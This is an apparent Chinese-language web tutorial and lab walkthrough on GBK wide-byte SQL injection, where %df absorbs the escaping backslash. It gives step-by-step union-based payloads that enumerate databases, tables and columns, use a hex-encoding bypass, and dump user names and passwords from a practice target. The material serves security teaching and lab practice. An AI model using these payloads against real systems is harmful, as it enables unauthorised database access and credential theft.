您当前的位置:首页 > 计算机 > 安全防护

学习宽字节注入这一篇就够了

时间:10-09来源:作者:点击数:

宽字节

如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节

  • 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
  • 英文默认占一个字节,中文占两个字节

宽字节注入原理

背景:我们在进行SQL注入过程中,经常通过闭合单引号或者双引号来判断是否存在注入点并进行接下来的注入操作。而开发人员就对引号进行转义来防止攻击者进行SQL注入攻击,通常开发语言中的转义字符都是反斜杠“\”。

绕过原理:因为“\”的转义后的编码为%5c,可以联想到我们中国的汉字有偏旁部首可以拼成一个汉字,那么对于转义字符编码%5c是否也可以找到一个编码跟它凑成一个新的字符呢?答案是还真有。例如在GBK编码中%df%5c就是繁体字“連”,所以这是我们就可以成功的绕过magic_qutes_gpc()函数的转义。需要小伙伴们注意的是只有是中文编码的数据库才可以这样并且数据库的编码为GBK编码。

简单理解就是:用%df吃掉转义字符 \ %5c,就可以使得' 逃逸

宽字节注入实战

测试注入点是否存在

?id=1%df%27

经过转义后,%df%5c是繁体字“連”,单引号成功逃逸,爆出Mysql数据库的错误

?id=1%df%5c%27

报错信息:单引号并没有被转义

之后的测试也是同理,对单引号或者双引号这样的特殊字符前面加上一个 %df 进行注入。

测试当前表的列数

?id=1%df' order by 5 %23

测试显位

?id=-1%df' union select 1,2,3,4,5 %23

拿数据库名字

?id=-1%df' union select 1,2,database(),4,5 %23

拿表名

?id=-1%df' union select 1,2,database(),4,group_concat(table_name) from information_schema.tables where table_schema=database() %23

拿列名

?id=-1%df' union select 1,2,database(),4,group_concat(column_name) from information_schema.columns where table_name='stormgroup_member' %23

尝试加上 %df 进行绕过,失败

发现原有的绕过方式解码后的汉字会影响sql语句的执行

经过大佬指点后,发现可以使用16进制转换来绕过过滤,编码后记得在前面加上 0x ,这表示是16进制。

对两张表分别拿列名

 id=-1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,(select group_concat(table_name) from information_schema.tables where table_schema =0x6d6f7a68655f64697363757a5f73746f726d67726f7570)--+

拿数据

id=-1%df' union select 1,2,(select group_concat(password) from stormgroup_member),4,(select group_concat(name) from stormgroup_member)--+

靶场过关

总结

宽字节注入的适用场景是特殊字符被 \ 转义的情况,使用面较窄。

还有为绕过思路打开了一扇大门:在绕过一些过滤的时候可以使用一些字符编码的方法。

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门